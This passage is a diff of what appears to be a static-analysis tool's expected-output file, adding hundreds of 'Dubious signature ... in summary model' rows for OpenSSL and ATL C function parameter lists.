+| Dubious signature "(X509_STORE_CTX *,unsigned long)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,unsigned long,time_t)" in summary model. | +| Dubious signature "(X509_VAL *)" in summary model. | +| Dubious signature "(X509_VAL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,ASN1_OBJECT *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,const char *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,const char *,size_t)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,int)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,stack_st_ASN1_OBJECT *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,time_t)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,uint32_t)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,unsigned int)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,unsigned long)" in summary model. | | Dubious signature "(XCHAR *,const XCHAR *,int)" in summary model. | | Dubious signature "(XCHAR *,size_t,const XCHAR *,int)" in summary model. | +| Dubious signature "(action **,e_action,symbol *,char *)" in summary model. | +| Dubious signature "(action *,FILE *,int)" in summary model. | +| Dubious signature "(acttab *)" in summary model. | +| Dubious signature "(acttab *,int)" in summary model. | +| Dubious signature "(acttab *,int,int)" in summary model. | | Dubious signature "(char *)" in summary model. | +| Dubious signature "(char **)" in summary model. | +| Dubious signature "(char **,s_options *,FILE *)" in summary model. | +| Dubious signature "(char *,EVP_CIPHER_INFO *)" in summary model. | +| Dubious signature "(char *,FILE *,FILE *,int *)" in summary model. | +| Dubious signature "(char *,const char *,const char *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(char *,const char *,int,const char *)" in summary model. | +| Dubious signature "(char *,const char *,size_t)" in summary model. | +| Dubious signature "(char *,int)" in summary model. | +| Dubious signature "(char *,int,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(char *,int,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(char *,int,int,void *)" in summary model. | +| Dubious signature "(char *,size_t)" in summary model. | +| Dubious signature "(char *,size_t,const char *,...)" in summary model. | +| Dubious signature "(char *,size_t,const char *,va_list)" in summary model. | +| Dubious signature "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)" in summary model. | +| Dubious signature "(char *,size_t,size_t *,const OSSL_PARAM[],void *)" in summary model. | +| Dubious signature "(char *,size_t,size_t *,const unsigned char *,size_t,const char)" in summary model. | +| Dubious signature "(char *,uint8_t)" in summary model. | +| Dubious signature "(char *,unsigned int)" in summary model. | | Dubious signature "(char,const CStringT &)" in summary model. | +| Dubious signature "(config *)" in summary model. | +| Dubious signature "(config *,config *)" in summary model. | +| Dubious signature "(const ACCESS_DESCRIPTION *,unsigned char **)" in summary model. | +| Dubious signature "(const ADMISSIONS *)" in summary model. | +| Dubious signature "(const ADMISSIONS *,unsigned char **)" in summary model. | +| Dubious signature "(const ADMISSION_SYNTAX *)" in summary model. | +| Dubious signature "(const ADMISSION_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const ASIdOrRange *,unsigned char **)" in summary model. | +| Dubious signature "(const ASIdentifierChoice *,unsigned char **)" in summary model. | +| Dubious signature "(const ASIdentifiers *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *)" in summary model. | +| Dubious signature "(const ASN1_BIT_STRING *,int)" in summary model. | +| Dubious signature "(const ASN1_BIT_STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_BMPSTRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_ENUMERATED *)" in summary model. | +| Dubious signature "(const ASN1_ENUMERATED *,BIGNUM *)" in summary model. | +| Dubious signature "(const ASN1_ENUMERATED *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_GENERALIZEDTIME *)" in summary model. | +| Dubious signature "(const ASN1_GENERALIZEDTIME *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_GENERALSTRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_IA5STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(const ASN1_INTEGER *,BIGNUM *)" in summary model. | +| Dubious signature "(const ASN1_INTEGER *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(const ASN1_INTEGER *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,BIO *,const void *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,BIO *,void *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,FILE *,const void *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,FILE *,void *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const ASN1_TYPE *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const ASN1_VALUE *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const void *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,void *,ASN1_TYPE **)" in summary model. | +| Dubious signature "(const ASN1_NULL *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *)" in summary model. | +| Dubious signature "(const ASN1_OBJECT *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(const ASN1_OBJECT *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *)" in summary model. | +| Dubious signature "(const ASN1_OCTET_STRING *,const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(const ASN1_OCTET_STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_PCTX *)" in summary model. | +| Dubious signature "(const ASN1_PRINTABLESTRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_SEQUENCE_ANY *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_STRING *)" in summary model. | +| Dubious signature "(const ASN1_STRING *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_STRING *,const ASN1_STRING *)" in summary model. | +| Dubious signature "(const ASN1_STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_T61STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_TIME *)" in summary model. | +| Dubious signature "(const ASN1_TIME *,ASN1_GENERALIZEDTIME **)" in summary model. | +| Dubious signature "(const ASN1_TIME *,time_t *)" in summary model. | +| Dubious signature "(const ASN1_TIME *,tm *)" in summary model. | +| Dubious signature "(const ASN1_TIME *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_TYPE *)" in summary model. | +| Dubious signature "(const ASN1_TYPE *,const ASN1_TYPE *)" in summary model. | +| Dubious signature "(const ASN1_TYPE *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_UNIVERSALSTRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_UTCTIME *)" in summary model. | +| Dubious signature "(const ASN1_UTCTIME *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_UTF8STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_VALUE **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const ASN1_VALUE **,const ASN1_TEMPLATE *)" in summary model. | +| Dubious signature "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)" in summary model. | +| Dubious signature "(const ASN1_VALUE *,const ASN1_TEMPLATE *,int)" in summary model. | +| Dubious signature "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const ASN1_VISIBLESTRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASRange *,unsigned char **)" in summary model. | +| Dubious signature "(const AUTHORITY_INFO_ACCESS *,unsigned char **)" in summary model. | +| Dubious signature "(const AUTHORITY_KEYID *,unsigned char **)" in summary model. | +| Dubious signature "(const BASIC_CONSTRAINTS *,unsigned char **)" in summary model. | +| Dubious signature "(const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,ASN1_ENUMERATED *)" in summary model. | +| Dubious signature "(const BIGNUM *,ASN1_INTEGER *)" in summary model. | +| Dubious signature "(const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,int *)" in summary model. | +| Dubious signature "(const BIGNUM *,int)" in summary model. | +| Dubious signature "(const BIGNUM *,int,..(*)(..),BN_CTX *,void *)" in summary model. | +| Dubious signature "(const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int)" in summary model. | +| Dubious signature "(const BIGNUM *,int,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *)" in summary model. | +| Dubious signature "(const BIGNUM *,int,BN_CTX *,int,BN_GENCB *)" in summary model. | +| Dubious signature "(const BIGNUM *,int,size_t *)" in summary model. | +| Dubious signature "(const BIGNUM *,int[],int)" in summary model. | +| Dubious signature "(const BIGNUM *,unsigned char *)" in summary model. | +| Dubious signature "(const BIGNUM *,unsigned char *,int)" in summary model. | +| Dubious signature "(const BIGNUM *,unsigned long)" in summary model. | +| Dubious signature "(const BIO *)" in summary model. | +| Dubious signature "(const BIO *,int)" in summary model. | +| Dubious signature "(const BIO_ADDR *)" in summary model. | +| Dubious signature "(const BIO_ADDR *,void *,size_t *)" in summary model. | +| Dubious signature "(const BIO_ADDRINFO *)" in summary model. | +| Dubious signature "(const BIO_METHOD *)" in summary model. | +| Dubious signature "(const BN_BLINDING *)" in summary model. | | Dubious signature "(const CComBSTR &)" in summary model. | | Dubious signature "(const CComSafeArray &)" in summary model. | +| Dubious signature "(const CERTIFICATEPOLICIES *,unsigned char **)" in summary model. | +| Dubious signature "(const CMS_CTX *)" in summary model. | +| Dubious signature "(const CMS_ContentInfo *)" in summary model. | +| Dubious signature "(const CMS_ContentInfo *,BIO *,int)" in summary model. | +| Dubious signature "(const CMS_ContentInfo *,unsigned char **)" in summary model. | +| Dubious signature "(const CMS_EnvelopedData *)" in summary model. | +| Dubious signature "(const CMS_ReceiptRequest *,unsigned char **)" in summary model. | +| Dubious signature "(const CMS_SignerInfo *)" in summary model. | +| Dubious signature "(const CMS_SignerInfo *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const CMS_SignerInfo *,int)" in summary model. | +| Dubious signature "(const CMS_SignerInfo *,int,int)" in summary model. | +| Dubious signature "(const COMP_CTX *)" in summary model. | +| Dubious signature "(const COMP_METHOD *)" in summary model. | +| Dubious signature "(const CONF *)" in summary model. | +| Dubious signature "(const CONF *,const char *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(const CONF_IMODULE *)" in summary model. | +| Dubious signature "(const CRL_DIST_POINTS *,unsigned char **)" in summary model. | +| Dubious signature "(const CRYPTO_EX_DATA *)" in summary model. | +| Dubious signature "(const CRYPTO_EX_DATA *,int)" in summary model. | | Dubious signature "(const CSimpleStringT &)" in summary model. | | Dubious signature "(const CStaticString &)" in summary model. | | Dubious signature "(const CStringT &)" in summary model. | @@ -37,44 +2569,1256 @@ | Dubious signature "(const CStringT &,char)" in summary model. | | Dubious signature "(const CStringT &,const CStringT &)" in summary model. | | Dubious signature "(const CStringT &,wchar_t)" in summary model. | +| Dubious signature "(const CTLOG *)" in summary model. | +| Dubious signature "(const CTLOG *,const uint8_t **,size_t *)" in summary model. | +| Dubious signature "(const CTLOG_STORE *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(const CT_POLICY_EVAL_CTX *)" in summary model. | +| Dubious signature "(const DH *)" in summary model. | +| Dubious signature "(const DH *,const BIGNUM *)" in summary model. | +| Dubious signature "(const DH *,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const DH *,const BIGNUM *,int *)" in summary model. | +| Dubious signature "(const DH *,int *)" in summary model. | +| Dubious signature "(const DH *,int)" in summary model. | +| Dubious signature "(const DH *,unsigned char **)" in summary model. | +| Dubious signature "(const DH *,unsigned char **,size_t,int)" in summary model. | +| Dubious signature "(const DH_METHOD *)" in summary model. | +| Dubious signature "(const DH_NAMED_GROUP *)" in summary model. | +| Dubious signature "(const DIST_POINT *,unsigned char **)" in summary model. | +| Dubious signature "(const DIST_POINT_NAME *)" in summary model. | +| Dubious signature "(const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *)" in summary model. | +| Dubious signature "(const DIST_POINT_NAME *,unsigned char **)" in summary model. | +| Dubious signature "(const DSA *)" in summary model. | +| Dubious signature "(const DSA *,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const DSA *,const BIGNUM *,int *)" in summary model. | +| Dubious signature "(const DSA *,int)" in summary model. | +| Dubious signature "(const DSA *,int,int *)" in summary model. | +| Dubious signature "(const DSA *,unsigned char **)" in summary model. | +| Dubious signature "(const DSA_METHOD *)" in summary model. | +| Dubious signature "(const DSA_SIG *,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const DSA_SIG *,unsigned char **)" in summary model. | +| Dubious signature "(const ECDSA_SIG *)" in summary model. | +| Dubious signature "(const ECDSA_SIG *,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const ECDSA_SIG *,unsigned char **)" in summary model. | +| Dubious signature "(const ECPARAMETERS *)" in summary model. | +| Dubious signature "(const ECPKPARAMETERS *,unsigned char **)" in summary model. | +| Dubious signature "(const ECX_KEY *,int)" in summary model. | +| Dubious signature "(const ECX_KEY *,unsigned char **)" in summary model. | +| Dubious signature "(const EC_GROUP *)" in summary model. | +| Dubious signature "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,ECPARAMETERS *)" in summary model. | +| Dubious signature "(const EC_GROUP *,ECPKPARAMETERS *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **)" in summary model. | +| Dubious signature "(const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,const char *,EC_POINT *,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *)" in summary model. | +| Dubious signature "(const EC_GROUP *,unsigned char **)" in summary model. | +| Dubious signature "(const EC_GROUP *,unsigned int *)" in summary model. | +| Dubious signature "(const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *)" in summary model. | +| Dubious signature "(const EC_KEY *)" in summary model. | +| Dubious signature "(const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)" in summary model. | +| Dubious signature "(const EC_KEY *,const EVP_MD *,size_t,size_t *)" in summary model. | +| Dubious signature "(const EC_KEY *,int)" in summary model. | +| Dubious signature "(const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *)" in summary model. | +| Dubious signature "(const EC_KEY *,unsigned char **)" in summary model. | +| Dubious signature "(const EC_KEY *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(const EC_KEY_METHOD *)" in summary model. | +| Dubious signature "(const EC_KEY_METHOD *,..(**)(..))" in summary model. | +| Dubious signature "(const EC_KEY_METHOD *,..(**)(..),..(**)(..))" in summary model. | +| Dubious signature "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..))" in summary model. | +| Dubious signature "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))" in summary model. | +| Dubious signature "(const EC_METHOD *)" in summary model. | +| Dubious signature "(const EC_POINT *)" in summary model. | +| Dubious signature "(const EC_POINT *,const EC_GROUP *)" in summary model. | +| Dubious signature "(const EC_PRIVATEKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const EDIPARTYNAME *,unsigned char **)" in summary model. | +| Dubious signature "(const ENGINE *)" in summary model. | +| Dubious signature "(const ENGINE *,int)" in summary model. | +| Dubious signature "(const ERR_STRING_DATA *)" in summary model. | +| Dubious signature "(const ESS_CERT_ID *)" in summary model. | +| Dubious signature "(const ESS_CERT_ID *,unsigned char **)" in summary model. | +| Dubious signature "(const ESS_CERT_ID_V2 *)" in summary model. | +| Dubious signature "(const ESS_CERT_ID_V2 *,unsigned char **)" in summary model. | +| Dubious signature "(const ESS_ISSUER_SERIAL *)" in summary model. | +| Dubious signature "(const ESS_ISSUER_SERIAL *,unsigned char **)" in summary model. | +| Dubious signature "(const ESS_SIGNING_CERT *)" in summary model. | +| Dubious signature "(const ESS_SIGNING_CERT *,unsigned char **)" in summary model. | +| Dubious signature "(const ESS_SIGNING_CERT_V2 *)" in summary model. | +| Dubious signature "(const ESS_SIGNING_CERT_V2 *,unsigned char **)" in summary model. | +| Dubious signature "(const EVP_ASYM_CIPHER *)" in summary model. | +| Dubious signature "(const EVP_ASYM_CIPHER *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_CIPHER *)" in summary model. | +| Dubious signature "(const EVP_CIPHER *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *)" in summary model. | +| Dubious signature "(const EVP_CIPHER_CTX *)" in summary model. | +| Dubious signature "(const EVP_CIPHER_CTX *,int)" in summary model. | +| Dubious signature "(const EVP_KDF *)" in summary model. | +| Dubious signature "(const EVP_KDF *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_KDF_CTX *)" in summary model. | +| Dubious signature "(const EVP_KEM *)" in summary model. | +| Dubious signature "(const EVP_KEM *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_KEYEXCH *)" in summary model. | +| Dubious signature "(const EVP_KEYEXCH *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_KEYMGMT *)" in summary model. | +| Dubious signature "(const EVP_KEYMGMT *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_MAC *)" in summary model. | +| Dubious signature "(const EVP_MAC *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_MAC_CTX *)" in summary model. | +| Dubious signature "(const EVP_MD *)" in summary model. | +| Dubious signature "(const EVP_MD *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_MD *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const EVP_MD *,const EVP_MD *,int)" in summary model. | +| Dubious signature "(const EVP_MD *,const OSSL_ITEM *,size_t)" in summary model. | +| Dubious signature "(const EVP_MD *,const X509 *,const stack_st_X509 *,int)" in summary model. | +| Dubious signature "(const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(const EVP_MD *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const EVP_MD_CTX *)" in summary model. | +| Dubious signature "(const EVP_MD_CTX *,int)" in summary model. | +| Dubious signature "(const EVP_PKEY *)" in summary model. | +| Dubious signature "(const EVP_PKEY *,OSSL_PARAM *)" in summary model. | +| Dubious signature "(const EVP_PKEY *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(const EVP_PKEY *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const EVP_PKEY *,const char *,BIGNUM **)" in summary model. | +| Dubious signature "(const EVP_PKEY *,int)" in summary model. | +| Dubious signature "(const EVP_PKEY *,int,const char *,const char *,const char *)" in summary model. | +| Dubious signature "(const EVP_PKEY *,int,int)" in summary model. | +| Dubious signature "(const EVP_PKEY *,size_t *,SSL_CTX *)" in summary model. | +| Dubious signature "(const EVP_PKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const EVP_PKEY_CTX *)" in summary model. | +| Dubious signature "(const EVP_PKEY_METHOD *,..(**)(..))" in summary model. | +| Dubious signature "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))" in summary model. | +| Dubious signature "(const EVP_RAND *)" in summary model. | +| Dubious signature "(const EVP_RAND *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_SIGNATURE *)" in summary model. | +| Dubious signature "(const EVP_SIGNATURE *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EVP_SKEY *)" in summary model. | +| Dubious signature "(const EVP_SKEYMGMT *)" in summary model. | +| Dubious signature "(const EVP_SKEYMGMT *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const EXTENDED_KEY_USAGE *,unsigned char **)" in summary model. | +| Dubious signature "(const FFC_PARAMS *,OSSL_PARAM_BLD *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(const FFC_PARAMS *,const BIGNUM **,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const FFC_PARAMS *,const BIGNUM *,int *)" in summary model. | +| Dubious signature "(const FFC_PARAMS *,unsigned char **,size_t *,int *)" in summary model. | +| Dubious signature "(const GENERAL_NAME *)" in summary model. | +| Dubious signature "(const GENERAL_NAME *,int *)" in summary model. | +| Dubious signature "(const GENERAL_NAME *,unsigned char **)" in summary model. | +| Dubious signature "(const GENERAL_NAMES *,unsigned char **)" in summary model. | +| Dubious signature "(const GOST_KX_MESSAGE *,unsigned char **)" in summary model. | +| Dubious signature "(const HMAC_CTX *)" in summary model. | +| Dubious signature "(const HT_CONFIG *)" in summary model. | +| Dubious signature "(const IPAddressChoice *,unsigned char **)" in summary model. | +| Dubious signature "(const IPAddressFamily *)" in summary model. | +| Dubious signature "(const IPAddressFamily *,unsigned char **)" in summary model. | +| Dubious signature "(const IPAddressOrRange *,unsigned char **)" in summary model. | +| Dubious signature "(const IPAddressRange *,unsigned char **)" in summary model. | +| Dubious signature "(const ISSUER_SIGN_TOOL *,unsigned char **)" in summary model. | +| Dubious signature "(const ISSUING_DIST_POINT *,unsigned char **)" in summary model. | +| Dubious signature "(const MATRIX *,const VECTOR *,VECTOR *)" in summary model. | +| Dubious signature "(const ML_DSA_KEY *)" in summary model. | +| Dubious signature "(const ML_DSA_KEY *,int)" in summary model. | +| Dubious signature "(const ML_DSA_KEY *,int,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t)" in summary model. | +| Dubious signature "(const ML_DSA_KEY *,unsigned char **)" in summary model. | +| Dubious signature "(const ML_KEM_KEY *,const ML_KEM_KEY *)" in summary model. | +| Dubious signature "(const ML_KEM_KEY *,int)" in summary model. | +| Dubious signature "(const ML_KEM_KEY *,unsigned char **)" in summary model. | +| Dubious signature "(const NAMING_AUTHORITY *)" in summary model. | +| Dubious signature "(const NAMING_AUTHORITY 